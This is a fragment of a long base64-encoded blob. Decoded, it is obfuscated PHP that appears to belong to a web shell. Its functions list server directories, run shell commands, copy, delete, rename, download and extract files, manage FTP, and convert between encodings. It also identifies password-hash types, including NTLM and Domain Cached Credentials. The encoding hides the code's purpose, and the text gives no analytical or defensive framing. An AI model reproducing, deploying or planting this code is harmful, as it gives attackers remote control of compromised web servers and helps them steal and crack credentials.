wMls1XSkpeyAkcHMuPSRwMls1XTsgJHN0PTY7IH0gZWxzZSB7ICRzdD01OyB9IGlmKEBpc19udW1lcmljKCRwcykpICRwcz16N3goJHBzKTsgJHBkPScnOyBmb3IoJGk9JHN0OyRpPEBjb3VudCgkcDIpOyRpKyspICRwZCAuPSRwMlskaV0uJyAnOyAkcGQ9QHRyaW0oJHBkKTsgaWYoejdlKCdzdHJ0b3RpbWUnKSAmJiAoJHMydD1Ac3RydG90aW1lKCRwZCkpIT09ZmFsc2UpICRwZD1AZGF0ZSgiWS1tLWQgSDppIiwgJHMydCk7IGlmKCRwcFswXT09ImwiKXsgcmV0dXJuIGFycmF5KCRwbiwnTElOSycsJHBkLGFycmF5KCRwdSwkcGcpLCRwcCk7IH1lbHNlaWYoJHBwWzBdPT0iZCIpeyByZXR1cm4gYXJyYXkoJHBuLCdESVInLCRwZCxhcnJheSgkcHUsJHBnKSwkcHApOyB9ZWxzZXsgcmV0dXJuIGFycmF5KCRwbiwkcHMsJHBkLGFycmF5KCRwdSwkcGcpLCRwcCk7IH0gfSB9IHJldHVybiBhcnJheSgnJywnJywnJyxhcnJheSgnJywnJyksJycpOyB9IGZ1bmN0aW9uIHo4eCgkZCl7IGdsb2JhbCAkbml4LCAkc2hfZXhlYywgJGFjdCwgJGxzd2Y7ICRkPXoxaygkZCk7IGlmKEBzdWJzdHIoJGQsLTEpIT0nLycpICRkLj0nLyc7ICRyPWFycmF5KCk7ICRsc3dmPScnOyBpZih6N2UoJ3NjYW5kaXInKSYmKCRoPUBzY2FuZGlyKCRkKSkpeyBmb3JlYWNoKCRoIGFzICR0KSAkcltdPSRkLiR0OyAkbHN3Zj0nc2NhbmRpcic7IH0gZWxzZWlmKHo3ZSgnZGlyJykmJigkaD1AZGlyKCRkKSkpeyB3aGlsZSgoJHQ9JGgtPnJlYWQoKSkhPT1mYWxzZSkgJHJbXT0kZC4kdDsgJGgtPmNsb3NlKCk7ICRsc3dmPSdkaXInOyB9IGVsc2VpZih6N2UoJ29wZW5kaXInKSYmejdlKCdyZWFkZGlyJykmJno3ZSgnY2xvc2VkaXInKSYmKCRoPUBvcGVuZGlyKCRkKSkpeyB3aGlsZSgoJHQ9QHJlYWRkaXIoJGgpKSE9PWZhbHNlKSAkcltdPSR0OyBAY2xvc2VkaXIoJGgpOyAkbHN3Zj0nb3BlbmRpcic7IH0gZWxzZWlmKCRuaXggJiYgJHNoX2V4ZWMgJiYgKCRhY3Q9PSJscyJ8fCRhY3Q9PSJzZWFyY2giKSAmJiBAY291bnQoJHI9ejloKCRkKSk+MCl7ICRsc3dmPSdscyc7IHJldHVybiAkcjsgfSBlbHNlaWYoejdlKCdnbG9iJykgJiYgKCRoPUBnbG9iKCRkLicqJykpIT09ZmFsc2UpeyBpZihAY291bnQoJGgpPjApeyBmb3JlYWNoKCRoIGFzICR0KSAkcltdPSR0OyB9IGlmKCgkaD1AZ2xvYigkZC4nLionKSkhPT1mYWxzZSAmJiBAY291bnQoJGgpPjApeyBmb3JlYWNoKCRoIGFzICR0KSAkcltdPSR0OyB9IGlmKEBjb3VudCgkcik+MCAmJiAhQGluX2FycmF5KCRkLicuJywkcikpICRyW109JGQuJy4nOyBpZihAY291bnQoJHIpPjAgJiYgIUBpbl9hcnJheSgkZC4nLi4nLCRyKSkgJHJbXT0kZC4nLi4nOyAkbHN3Zj0nZ2xvYic7IH0gaWYoQGNvdW50KCRyKT4wKSBAc29ydCgkcik7IHJldHVybiAkcjsgfSBmdW5jdGlvbiB6OGMoKXsgcmV0dXJuIChAaXNzZXQoJHZhbHVlKT8kdmFsdWU6J3Vua25vd24nKTsgfSBmdW5jdGlvbiB6NGkoKXsgZ2xvYmFsICR1c2VfaW1hZ2VzLCR1c2VfYnVmZmVyLCRhY3QsJGJjb3B5LCRiY3V0LCRzaG93YnVmLCRkLCR3aXRoX2xzLCRsc3dmLCRmaWx0ZXI7ICRmX2E9YXJyYXkoJ2FsbCc9Pno5eSgiMzciKSwnZGlycyc9Pno5eSgiMzgiKSwnZmlsZXMnPT56OXkoIjM5IiksJ2FyY2hpdmVzJz0+ejl5KCI0MCIpLCdleGVzJz0+ejl5KCI0MSIpLCdwaHAnPT56OXkoIjQyIiksJ2h0bWwnPT56OXkoIjQzIiksJ3RleHQnPT56OXkoIjQ0IiksJ2ltYWdlcyc9Pno5eSgiNDUiKSwnb3RoZXInPT56OXkoIjQ2IikpOyAkZnM9Jyc7IGZvcmVhY2goJGZfYSBhcyAkZms9PiRmKSAkZnMgLj0gejV4KGFycmF5KCdhY3QnLCdkJywnc2hvd2J1ZicsJ2ZpbHRlcic9PiRmayksejhiKCRmLCggKChAaXNzZXQoJGZpbHRlcikmJiRmaWx0ZXI9PSRmaykgfHwgKCFAaXNzZXQoJGZpbHRlcikmJiRmaz09J2FsbCcpICk/ICcxNycgOiAnMTYnKSApKTsgJGJhPXo1eChhcnJheSgnYWN0JywnZCcsJ3VzZV9idWZmZXInPT4oJHVzZV9idWZmZXIgPyAnMCcgOiAnMScpKSwgejhiKCgkdXNlX2J1ZmZlciA/IHo5eSgiNTAiKSA6IHo5eSgiNDkiKSksJzE2JykpOyBpZigkdXNlX2J1ZmZlciAmJiAoQGNvdW50KCRiY29weSk+MHx8QGNvdW50KCRiY3V0KT4wKSl7ICRiYmNvcHk9KEBjb3VudCgkYmNvcHkpPjApOyAkYmJjdXQ9KEBjb3VudCgkYmN1dCk+MCk7ICRiYS49ejV4KGFycmF5KCdhY3QnPT4nbHMnLCdkJywnZW1wdHlidWYnPT4nMScpLCB6OGIoejl5KCI1MSIpLCcxNicpKS4oKCFAaXNzZXQoJHNob3didWYpfHwhJHNob3didWYpID8gejV4KGFycmF5KCdhY3QnPT4nbHMnLCdkJywnc2hvd2J1Zic9PicxJyksIHo4Yih6OXkoIjUyIiksJzE2JykpLigkYmJjb3B5P3o1eChhcnJheSgnYWN0Jz0+ImQiLCdkJywnZHQnPT4nYnBhc3RlY29weScsJ3Nob3didWYnKSwgejhiKHo5eSgiNTQiKSwnMTYnKSk6JycpLigkYmJjdXQ/ejV4KGFycmF5KCdhY3QnPT4iZCIsJ2QnLCdkdCc9PidicGFzdGVjdXQnLCdzaG93YnVmJyksIHo4Yih6OXkoIjU1IiksJzE2JykpOicnKS4oKCRiYmNvcHkmJiRiYmN1dCk/ejV4KGFycmF5KCdhY3QnPT4iZCIsJ2QnLCdkdCc9PidicGFzdGVhbGwnLCdzaG93YnVmJyksIHo4Yih6OXkoIjU2IiksJzE2JykpOicnKSA6IHo1eChhcnJheSgnYWN0Jz0+J2xzJywnZCcpLCB6OGIoejl5KCI1MyIpLCcxNicpKSk7IH0gaWYoIUBpc3NldCgkbHN3ZikpICRsc3dmPScnOyBlY2hvIHoxMHcoejd1KHo2bCgkZnMuejV4KGFycmF5KCdhY3QnLCdkJywnc2hvd2J1ZicsJ3VzZV9pbWFnZXMnPT4oJHVzZV9pbWFnZXM/JzAnOicxJykpLHo4YigoJHVzZV9pbWFnZXM/ejl5KCI0OCIpOno5eSgiNDciKSksJzE2JykpLiRiYSwnMTEnKSksJzcnKTsgfSBmdW5jdGlvbiB6MXEoJHQsICRmaWx0ZXIsJHR0KXsgZ2xvYmFsICRpbmRleDsgaWYoejJsKCR0KT09Jy4uJykgcmV0dXJuIDE7IHN3aXRjaCgkZmlsdGVyKXsgY2FzZSAnZGlycyc6IHJldHVybiAoJHR0PT0nZCcpOyBjYXNlICdmaWxlcyc6IHJldHVybiAoJHR0PT0nZid8fCR0dD09J2UnKTsgY2FzZSAnZXhlcyc6IHJldHVybiAoJHR0PT0nZSd8fCgoJHR0PT0nZid8fCR0dD09J2UnKSAmJiBAcHJlZ19tYXRjaCgnL1wuKCcuQGltcGxvZGUoJ3wnLEBhcnJheV9tZXJnZSgkaW5kZXhbJ2NtZCddLCRpbmRleFsncGwnXSkpLicpJC9pJywgJHQpKSk7IGNhc2UgJ2FyY2hpdmVzJzogcmV0dXJuICgoJHR0PT0nZid8fCR0dD09J2UnKSAmJiBAcHJlZ19tYXRjaCgnL1wuKCcuQGltcGxvZGUoJ3wnLCRpbmRleFsndGFyJ10pLicpJC9pJywgJHQpKTsgY2FzZSAncGhwJzogcmV0dXJuICgoJHR0PT0nZid8fCR0dD09J2UnKSAmJiBAcHJlZ19tYXRjaCgnL1wuKCcuQGltcGxvZGUoJ3wnLCRpbmRleFsncGhwJ10pLicpJC9pJywgJHQpKTsgY2FzZSAnaHRtbCc6IHJldHVybiAoKCR0dD09J2YnfHwkdHQ9PSdlJykgJiYgQHByZWdfbWF0Y2goJy9cLignLkBpbXBsb2RlKCd8JywkaW5kZXhbJ2h0bWwnXSkuJykkL2knLCAkdCkpOyBjYXNlICd0ZXh0JzogcmV0dXJuICgoJHR0PT0nZid8fCR0dD09J2UnKSAmJiBAcHJlZ19tYXRjaCgnL1wuKCcuQGltcGxvZGUoJ3wnLEBhcnJheV9tZXJnZSgkaW5kZXhbJ3R4dCddLCRpbmRleFsnd3JpJ10sJGluZGV4Wydkb2MnXSkpLicpJC9pJywgJHQpKTsgY2FzZSAnaW1hZ2VzJzogcmV0dXJuICgoJHR0PT0nZid8fCR0dD09J2UnKSAmJiBAcHJlZ19tYXRjaCgnL1wuKCcuQGltcGxvZGUoJ3wnLCRpbmRleFsnanBnJ10pLicpJC9pJywgJHQpKTsgY2FzZSAnb3RoZXInOiByZXR1cm4oJHR0PT0nZicgJiYgIUBwcmVnX21hdGNoKCcvXC4oJy5AaW1wbG9kZSgnfCcsQGFycmF5X21lcmdlKCRpbmRleFsndGFyJ10sICRpbmRleFsncGhwJ10sICRpbmRleFsnaHRtbCddLCAkaW5kZXhbJ2pwZyddLCAkaW5kZXhbJ3R4dCddLCRpbmRleFsnd3JpJ10sJGluZGV4Wydkb2MnXSwkaW5kZXhbJ2NtZCddLCRpbmRleFsncGwnXSkpLicpJC9pJywgJHQpKTsgZGVmYXVsdDogcmV0dXJuIDE7IH0gfSBmdW5jdGlvbiB6MG8oJGYsJHQ9JycsJGQ9MCl7IGdsb2JhbCAkdXNlX2J1ZmZlciwgJGJjdXQsICRiY29weSwgJHdpdGhfbHMsJGV4dGVybmFsLCRiemlwYXJjaGl2ZSwkcmVnX2FyY2hpdmVzLCRuaXgsJHNoX2V4ZWM7IGlmKCRkPT0wKXsgJGQ9ejNhKCRmKTsgfSBlbHNlIHsgZ2xvYmFsICRkOyB9ICRmPXoybCgkZik7ICRhPWFycmF5KCk7ICRhWydmdW5jdGlvbnMnXT16OXkoIjc0Iik7ICRhWydlZGl0J109ejl5KCI3NSIpOyBpZihAaXNzZXQoJHJlZ19hcmNoaXZlcykmJiRyZWdfYXJjaGl2ZXMhPScnKXsgaWYoQHByZWdfbWF0Y2goJy9cLignLiRyZWdfYXJjaGl2ZXMuJykkLycsJGYsJG0pKXsgaWYoQGlzc2V0KCRtWzFdKSl7IGlmKCRtWzFdIT0iemlwInx8KCRtWzFdPT0iemlwIiYmJG5peCYmJHNoX2V4ZWMpKSAkYVsnZXh0cmFjdCddPXo5eSgiNDc4IiwkbVsxXSk7IGlmKCRtWzFdPT0iemlwIiYmJGJ6aXBhcmNoaXZlKSAkYVsnZXh0cmFjdHppcCddPXo5eSgiNDc4IiwiemlwIChwaHApIik7IH0gfSB9IGlmKCR1c2VfYnVmZmVyJiYoIUBpc3NldCgkd2l0aF9scyl8fCEkd2l0aF9scykmJighQGlzc2V0KCRleHRlcm5hbCl8fCEkZXh0ZXJuYWwpKXsgJGFbJ2Jjb3B5J109KEBpbl9hcnJheSgkZiwkYmNvcHkpP3o5eSgiNjkiKTp6OXkoIjY3IikpOyAkYVsnYmN1dCddPShAaW5fYXJyYXkoJGYsJGJjdXQpP3o5eSgiNzAiKTp6OXkoIjY4IikpOyB9ICRhWydkZWxldGUnXT16OXkoIjcyIik7IGlmKCFAaXNzZXQoJGV4dGVybmFsKXx8ISRleHRlcm5hbCkgJGFbJ3JlbmFtZSddPXo5eSgiNzMiKTsgJGFbJ2Rvd25sb2FkJ109ejl5KCI3NiIpOyByZXR1cm4gejV4KGFycmF5KCdhY3QnPT4nZicsJ2YnPT4kZiwnZCc9PiRkLCdzaG93YnVmJyksIHozbSgnZnQnLCRhLCczJykuejhiKCcmcmFxdW87JywnNicpLCR0KTsgfSBmdW5jdGlvbiB6MXIoJHR0LCR0PScnKXsgZ2xvYmFsICR1c2VfYnVmZmVyLCAkYmNvcHksICRiY3V0LCAkd2l0aF9scywkc2hvd2J1ZjsgJGE9YXJyYXkoKTsgJGFbJ2NoZGlyJ109ejl5KCI0MjUiKTsgJGFbJ2Z1bmN0aW9ucyddPXo5eSgiNzQiKTsgaWYoJHVzZV9idWZmZXImJighQGlzc2V0KCR3aXRoX2xzKXx8ISR3aXRoX2xzKSl7ICRhWydiY29weSddPShAaW5fYXJyYXkoJHR0LCRiY29weSk/ejl5KCI2OSIpOno5eSgiNjciKSk7ICRhWydiY3V0J109KEBpbl9hcnJheSgkdHQsJGJjdXQpP3o5eSgiNzAiKTp6OXkoIjY4IikpOyBpZighQGlzc2V0KCRzaG93YnVmKXx8ISRzaG93YnVmKXsgaWYoQGNvdW50KCRiY29weSk+MCkgJGFbJ2JwYXN0ZWNvcHknXT16OXkoIjU0Iik7IGlmKEBjb3VudCgkYmN1dCk+MCkgJGFbJ2JwYXN0ZWN1dCddPXo5eSgiNTUiKTsgaWYoQGNvdW50KCRiY29weSk+MCYmQGNvdW50KCRiY3V0KT4wKSAkYVsnYnBhc3RlYWxsJ109ejl5KCI1NiIpOyB9IH0gJGFbJ3JlbmFtZSddPXo5eSgiNzMiKTsgJGFbJ2RlbGV0ZSddPXo5eSgiNzIiKTsgcmV0dXJuIHo1eChhcnJheSgnYWN0Jz0+J2QnLCdkJywndHQnPT4kdHQsJ3Nob3didWYnKSwgejNtKCdkdCcsJGEsJzMnKS56OGIoJyZyYXF1bzsnLCc2JyksJHQpOyB9IGZ1bmN0aW9uIHoweigkZCwkdCl7IHJldHVybiB6NXgoYXJyYXkoJ2FjdCc9PidkJywnZCc9PiRkKSwgejNtKCdkdCcsYXJyYXkoJ2NoZGlyJz0+ejl5KCI0MjUiKSksJzMnKS56OGIoJyZyYXF1bzsnLCc2JyksJHQpOyB9IGZ1bmN0aW9uIHowdygkZCl7IHJldHVybiB6NXgoYXJyYXkoJ2FjdCc9PidmdHAnLCdmbHNvcnQnLCdmZnNvcnQnLCdkJz0+JGQpLCB6M20oJ2NoZGlyJyxhcnJheSgnJz0+ejl5KCI0MjUiKSksJzMnKS56OGIoJyZyYXF1bzsnLCc2JykpOyB9IGZ1bmN0aW9uIHowcSgkdCl7IHJldHVybiB6NXgoYXJyYXkoJ2FjdCc9PidmdHAnLCdmbHNvcnQnLCdmZnNvcnQnLCdkJywncmQnPT4kdCksIHozbSgnZnQnLGFycmF5KCdjaGRpcic9Pno5eSgiNDI1IikpLCczJykuejhiKCcmcmFxdW87JywnNicpKTsgfSBmdW5jdGlvbiB6MHQoJHQpeyByZXR1cm4gejV4KGFycmF5KCdhY3QnPT4nZnRwJywnZmxzb3J0JywnZmZzb3J0JywnZCcsJ2x0Jz0+JHQpLCB6M20oJ2Z0JyxhcnJheSgndXBsb2FkJz0+ejl5KCIxOTciKSwnZGVsZXRlJz0+ejl5KCIxOTkiKSksJzMnKS56OGIoJyZyYXF1bzsnLCc2JykpOyB9IGZ1bmN0aW9uIHowcigkdCl7IHJldHVybiB6NXgoYXJyYXkoJ2FjdCc9PidmdHAnLCdmbHNvcnQnLCdmZnNvcnQnLCdkJywncnQnPT4kdCksIHozbSgnZnQnLGFycmF5KCdkb3dubG9hZCc9Pno5eSgiMTk4IiksJ2RlbGV0ZSc9Pno5eSgiMTk5IikpLCczJykuejhiKCcmcmFxdW87JywnNicpKTsgfSBmdW5jdGlvbiB6NHIoJHQpeyBpZih6NGUoJHQpfHx6NGooJHQpfHx6NHEoJHQpfHx6MXkoJHQpfHx6MG4oJHQpfHx6NWkoJHQpKSByZXR1cm4gMTsgcmV0dXJuIDA7IH0gZnVuY3Rpb24gejJpKCRmLCR0KXsgZ2xvYmFsICRuaXgsICRzaF9leGVjOyBpZihAZmlsZV9leGlzdHMoJGYpKXsgaWYoJHQ9PSdmJykgcmV0dXJuIEBpc19maWxlKCRmKTsgaWYoJHQ9PSdkJykgcmV0dXJuIEBpc19kaXIoJGYpOyBpZigkdD09J0wnKSByZXR1cm4gQGlzX2xpbmsoJGYpOyBpZigkdD09J3InKSByZXR1cm4gQGlzX3JlYWRhYmxlKCRmKTsgaWYoJHQ9PSd3JykgcmV0dXJuIEBpc193cml0YWJsZSgkZik7IGlmKCR0PT0neCcpIHJldHVybiBAaXNfZXhlY3V0YWJsZSgkZik7IH1lbHNlaWYoJG5peCYmJHNoX2V4ZWMpeyAkaD16OWUoJ2lmIFsgLScuJHQuJyAiJy4kZi4nIiBdOyB0aGVuIGVjaG8gImlzdHJ1ZSI7IGVsc2UgZWNobyAiaXNmYWxzZSI7IGZpJywwKTsgcmV0dXJuIChAc3Ryc3RyKCRoLCJpc3RydWUiKSYmIUBzdHJzdHIoJGgsImlzZmFsc2UiKSk7IH0gcmV0dXJuIDA7IH0gZnVuY3Rpb24gejRlKCRmKXsgcmV0dXJuIHoyaSgkZiwnZicpOyB9IGZ1bmN0aW9uIHo0aigkZil7IHJldHVybiB6MmkoJGYsJ2QnKTsgfSBmdW5jdGlvbiB6NHEoJGYpeyByZXR1cm4gejJpKCRmLCdMJyk7IH0gZnVuY3Rpb24gejF5KCRmKXsgcmV0dXJuIHoyaSgkZiwncicpOyB9IGZ1bmN0aW9uIHowbigkZil7IHJldHVybiB6MmkoJGYsJ3cnKTsgfSBmdW5jdGlvbiB6NWkoJGYpeyByZXR1cm4gejJpKCRmLCd4Jyk7IH0gZnVuY3Rpb24gejdxKCRpKXsgJHI9Jyc7Zm9yKCRuPTA7JG48QHN0cmxlbigkaSk7JG4rKykgJHIuPXo4aSh6OGkoJGlbJG5dLDEpLXo4aSgxLDEpLDIpOyByZXR1cm4gJHI7IH0gZnVuY3Rpb24gejVvKCl7IGVjaG8gQHN0cl9yZXBlYXQoJycsMTAyNCk7IEBvYl9mbHVzaCgpOyBAZmx1c2goKTsgfSBmdW5jdGlvbiB6NHUoJHQsJHMpeyAkbD1Ac3RybGVuKCRzKTsgaWYoQHN1YnN0cigkdCwtJGwpPT0kcykgeyB3aGlsZShAc3Vic3RyKCR0LC0kbCk9PSRzKSAkdD1Ac3Vic3RyKCR0LDAsKEBzdHJsZW4oJHQpLSRsKSk7IH0gcmV0dXJuICR0OyB9IGZ1bmN0aW9uIHoxZigkdCwkcz0nLycpeyAkdD16MWooJHQpOyAkdD16NHUoJHQsJHMpOyBpZighQHN0cnN0cigkdCwkcykpIHJldHVybiBhcnJheSgpOyAkZT1AZXhwbG9kZSgkcywkdCk7ICRmPSRlWyhAY291bnQoJGUpLTEpXTsgJGw9KEBzdHJsZW4oJHQpLUBzdHJsZW4oJGYpKTsgJGQ9QHN1YnN0cigkdCwwLCRsKTsgcmV0dXJuIGFycmF5KHoxaygkZCksJGYpOyB9IGZ1bmN0aW9uIHozYSgkdCwkcz0nLycpeyAkZT16MWYoJHQsJHMpOyByZXR1cm4gKEBjb3VudCgkZSk9PTIgPyAkZVswXSA6ICcuLycpOyB9IGZ1bmN0aW9uIHoybCgkdCwkcz0nLycpeyAkZT16MWYoJHQsJHMpOyByZXR1cm4gKEBjb3VudCgkZSk9PTIgPyAkZVsxXSA6ICR0KTsgfSBmdW5jdGlvbiB6M3EoJGEsJHM9JycpeyAkcj0nJzsgaWYoQGlzX2FycmF5KCRhKSkgeyBmb3IoJGk9MDskaTxAY291bnQoJGEpOyRpKyspICRyLj16N2soJGFbJGldLCcxMicsKCgkaT09MCk/JzInLiRzOigoJGk9PShAY291bnQoJGEpLTEpKT8nMycuJHM6JHMpKSk7IH0gZWxzZSB7ICRyPXo3aygkYSwnMTInLCcyMycuJHMpOyB9IHJldHVybiB6MTB3KHo3dSgkciksJzMnKTsgfSBmdW5jdGlvbiB6MXAoJGMsJGU9JycpIHsgJHM9Jyc7IGdsb2JhbCAkaW5kZXg7ICRpPSRpbmRleDsgJGE9YXJyYXkoKTsgaWYoJGUhPScnKXsgZm9yZWFjaCgkYSBhcyAkaz0+JHYpIHsgaWYoQGluX2FycmF5KCRlLCR2KSl7ICRzPSRrOyBicmVhazsgfSB9IH0gaWYoJHM9PScnKSAkcz0kZTsgaWYoQGluX2FycmF5KCRzLGFycmF5KCdkYicsJ3NxbCcsJ3BsJywnY2dpJywnYycsICdjYycsICdjcHAnLCAnaCcsICdocHAnLCAnaWNsJywgJ2lwcCcpKSl7ICRjPUBoaWdobGlnaHRfc3RyaW5nKCc8P3BocCcuJGMuJz8+Jyx0cnVlKTsgJHAxPUBzdHJpcG9zKCRjLCcmbHQ7P3BocCcpOyAkYT1Ac3Vic3RyKCRjLDAsJHAxKTsgJGI9QHN1YnN0cigkYywkcDErOCk7ICRjPSRhLiRiOyAkcDI9QHN0cnJpcG9zKCRjLCAnPyZndDsnKTsgJGE9QHN1YnN0cigkYywwLCRwMik7ICRiPUBzdWJzdHIoJGMsJHAyKzUpOyAkYz0kYS4kYjsgfSBlbHNlIHsgJGM9QGhpZ2hsaWdodF9zdHJpbmcoJGMsdHJ1ZSk7IH0gJGM9QHN0cl9yZXBsYWNlKGFycmF5KCAnPGZvbnQgY29sb3I9IicsICc8L2ZvbnQ+JyksIGFycmF5KCAnPHNwYW4gc3R5bGU9ImNvbG9yOiAnLCAnPC9zcGFuPicgKSwgJGMpOyAkYz1AcHJlZ19yZXBsYWNlKCcvKFxyfFxuKS8nLCcnLCRjKTsgZWNobyAnPHByZT48Y29kZT4nLiRjLic8L2NvZGU+PC9wcmU+JzsgfSBmdW5jdGlvbiB6NGQoJGYpeyBnbG9iYWwgJGZpbGVhbGlhc2VzOyAkcj1hcnJheSgpOyBpZihAc3Ryc3RyKCRmLCcvJykpICRmPXoybCgkZiwnLycpOyAkZXh0PUBzdHJ0b2xvd2VyKHoybCgkZiwnLicpKTsgZm9yZWFjaCgkZmlsZWFsaWFzZXMgYXMgJGs9PiR2KXsgaWYoQGluX2FycmF5KCRleHQsJHYpKSAkcltdPSRrOyB9IHJldHVybiBAYXJyYXlfdW5pcXVlKCRyKTsgfSBmdW5jdGlvbiB6NHgoJGYpeyAkYT16NGQoJGYpOyAkbz1hcnJheSgnY29kZScsJ3RleHQnKTsgaWYoQGNvdW50KCRhKT4wKXsgaWYoQGNvdW50KCRhKT4xKXsgZm9yZWFjaCgkYSBhcyAkZnQpeyBpZihAaW5fYXJyYXkoJGZ0LCRvKSkgcmV0dXJuICRmdDsgfSByZXR1cm4gJGFbMF07IH0gZWxzZSB7IHJldHVybiAkYVswXTsgfSB9IGVsc2UgeyByZXR1cm4gJyc7IH0gfSBmdW5jdGlvbiB6M3IoJHMpeyBpZighQHByZWdfbWF0Y2goJy9bQS1aXS9pJywgJHMpKSByZXR1cm4gJHM7ICRzPUBzdHJ0b2xvd2VyKCRzKTsgZm9yKCRpPTA7ICRpPEBzdHJsZW4oJHMpOyAkaSsrKXsgaWYoQHByZWdfbWF0Y2goJy9bYS16XS8nLCRzWyRpXSkpeyAkc1skaV09QHN0cnRvdXBwZXIoJHNbJGldKTsgcmV0dXJuICRzOyB9IH0gcmV0dXJuICRzOyB9IGZ1bmN0aW9uIHozZSgkcCkge3JldHVybiBAZGVjYmluKEBoZXhkZWMoJHApKTt9IGZ1bmN0aW9uIHo0YSgkcCkge3JldHVybiBAZGVjaGV4KEBiaW5kZWMoJHApKTt9IGZ1bmN0aW9uIHoweCgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8QHN0ckxlbigkcCk7JGkrPTIpeyRyLj1AY2hyKEBoZXhkZWMoJHBbJGldLiRwWyRpKzFdKSk7fXJldHVybiAkcjt9IGZ1bmN0aW9uIHoxaSgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8QHN0cmxlbigkcCk7KyskaSkkci49IEBzcHJpbnRmKCclMDJYJyxAb3JkKCRwWyRpXSkpO3JldHVybiBAc3RydG91cHBlcigkcik7fSBmdW5jdGlvbiB6MGIoJHApeyRyPScnO2ZvcigkaT0wOyRpPEBzdHJsZW4oJHApOysrJGkpJHIuPSAiXFx4Ii5Ac3ByaW50ZignJTAyWCcsQG9yZCgkcFskaV0pKTsgcmV0dXJuIEBjaHVua19zcGxpdCgkcik7fSBmdW5jdGlvbiB6MHYoJHApeyRyPScnO2ZvcigkaT0wOyRpPEBzdHJsZW4oJHApOysrJGkpJHIuPSAiXFx4Ii5Ac3ByaW50ZignJTAyWCcsQG9yZCgkcFskaV0pKTsgcmV0dXJuIEBzdWJzdHIoQHByZWdfcmVwbGFjZSgnLy57MSw3Nn0vJywiJ1xcMCcuXG4iLCRyKSwwLC0yKTtyZXR1cm4gQGNodW5rX3NwbGl0KCRyKTt9IGZ1bmN0aW9uIHoweSgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8QHN0cmxlbigkcCk7KyskaSkkci49ICclJy5AZGVjaGV4KEBvcmQoJHBbJGldKSk7cmV0dXJuIEBzdHJ0b3VwcGVyKCRyKTt9IGZ1bmN0aW9uIHo0digkaSl7IHJldHVybiBAY2h1bmtfc3BsaXQoQGJhc2U2NF9lbmNvZGUoJGkpKTsgfSBmdW5jdGlvbiB6NHAoJGkpeyByZXR1cm4gQHN1YnN0cihAcHJlZ19yZXBsYWNlKCcvLnsxLDc2fS8nLCInXFwwJy5cbiIsQGJhc2U2NF9lbmNvZGUoJGkpKSwwLC0yKTsgfSBmdW5jdGlvbiB6M3AoJHQpeyAkcj0nJzsgaWYoQHByZWdfbWF0Y2hfYWxsKCcvKD88c3RyaW5ncz5bXHgyMC1ceDdFXXs0LH0pW15ceDIwLVx4N0VdPy8nLCR0LCRtKSl7IGZvcmVhY2goJG1bInN0cmluZ3MiXSBhcyAkcyl7ICRyLj0kcy4iXHJcbiI7IH0gfSByZXR1cm4gJHI7IH0gZnVuY3Rpb24gejFlKCl7ICRlbmNvZGVfZnVuY3Rpb25zPWFycmF5KCk7IGZvcmVhY2goYXJyYXkoICJ6M3AiPT4iU3RyaW5ncyIsICJ1cmxlbmNvZGUiPT4iVXJsZW5jb2RlIiwgInVybGRlY29kZSI9PiJVcmxkZWNvZGUiLCAiejB5Ij0+IkZ1bGwgVXJsZW5jb2RlIiwgInJhd3VybGVuY29kZSI9PiJSYXd1cmxlbmNvZGUiLCAicmF3dXJsZGVjb2RlIj0+IlJhd3VybGRlY29kZSIsICJiYXNlNjRfZW5jb2RlIj0+IkJhc2U2NCBFbmNvZGUiLCAiejR2Ij0+IkJhc2U2NCBFbmNvZGUgKyBDaHVuayIsICJ6NHAiPT4iQmFzZTY0IEVuY29kZSArIENodW5rICsgUXVvdGVzIiwgImJhc2U2NF9kZWNvZGUiPT4iQmFzZTY0IERlY29kZSIsICJ6MWkiPT4iQVNDSUkgdG8gSEVYIiwgInowYiI9PiJBU0NJSSB0byBIRVggKyBDaHVuayIsICJ6MHgiPT4iSEVYIHRvIEFTQ0lJIiwgInpfaGV4ZGVjIj0+IkhFWCB0byBERUMiLCAiejNlIj0+IkhFWCB0byBCSU4iLCAiZGVjaGV4Ij0+IkRFQyB0byBIRVgiLCAiZGVjYmluIj0+IkRFQyB0byBCSU4iLCAiejRhIj0+IkJJTiB0byBIRVgiLCAiYmluZGVjIj0+IkJJTiB0byBERUMiLCAic3RydG9sb3dlciI9PiJTdHJpbmcgdG8gbG93ZXJjYXNlIiwgInN0cnRvdXBwZXIiPT4iU3RyaW5nIHRvIFVQUEVSQ0FTRSIsICJodG1sc3BlY2lhbGNoYXJzIj0+Ikh0bWxzcGVjaWFsY2hhcnMiLCAic3RybGVuIj0+IlN0cmluZyBMZW5ndGgiLCAic3RycmV2Ij0+IlJldmVyc2UgU3RyaW5nIiApIGFzICRrZXk9PiR2YWwpeyBpZih6N2UoJGtleSl8fHo3ZShAc3Vic3RyKCRrZXksMCxAc3RybGVuKCRrZXkpLTEpKSl7ICRlbmNvZGVfZnVuY3Rpb25zWyRrZXldPSIkdmFsIjsgfSB9IHJldHVybiAkZW5jb2RlX2Z1bmN0aW9uczsgfSBmdW5jdGlvbiB6NG8oJGgpeyByZXR1cm4gKEBwcmVnX21hdGNoKCcvXlswLTlhLWZBLUZdKyQvJywkaCkgPyAxOjApOyB9IGZ1bmN0aW9uIHoxZygkaCl7IHJldHVybiAoQHByZWdfbWF0Y2goJy9eWzAtOWEtekEtWitcLy5dKz09JC8nLCRoKSA/IDE6MCk7IH0gZnVuY3Rpb24gejJlKCRoKXsgJGw9QHN0cmxlbigkaCk7ICRyPSdVbmtub3duJzsgaWYoJGw9PT0zMil7IGlmKHo0bygkaCkpeyAkcj0nTUQ1IC8gTUQ0IC8gTUQyIC8gTlRMTSAvIFRpZ2VyMTI4IC8gU05FRlJVMTI4IC8gUmlwZU1EMTI4IC8gSGF2YWwxMjhfMyAvIEhhdmFsMTI4XzQgLyBIYXZhbDEyOF81IC8gRG9tYWluIENhY2hlZCBDcmVkZW50aWFscyc7IH0gZWxzZWlmKEBwcmVnX21hdGNoKCcvXlswLTlBLUZdKyQvJywkaCkpeyAkcj0nV2luZG93cy1MTSAvIFdpbmRvd3MtTlRMTSAvIFJDNCc7IH0gZWxzZWlmKEBwcmVnX21hdGNoKCcvXlswLTlhLXpBLVorXC8uXSskLycsJGgpKXsgJHI9J0hhdmFsMTkyIChCYXNlNjQpIC8gVGlnZXItMTkyIChCYXNlNjQpJzsgfSB9ZWxzZWlmKCRsPT09NDApeyBpZih6NG8oJGgpKXsgJHI9J1NIQS0wIC8gU0hBLTEg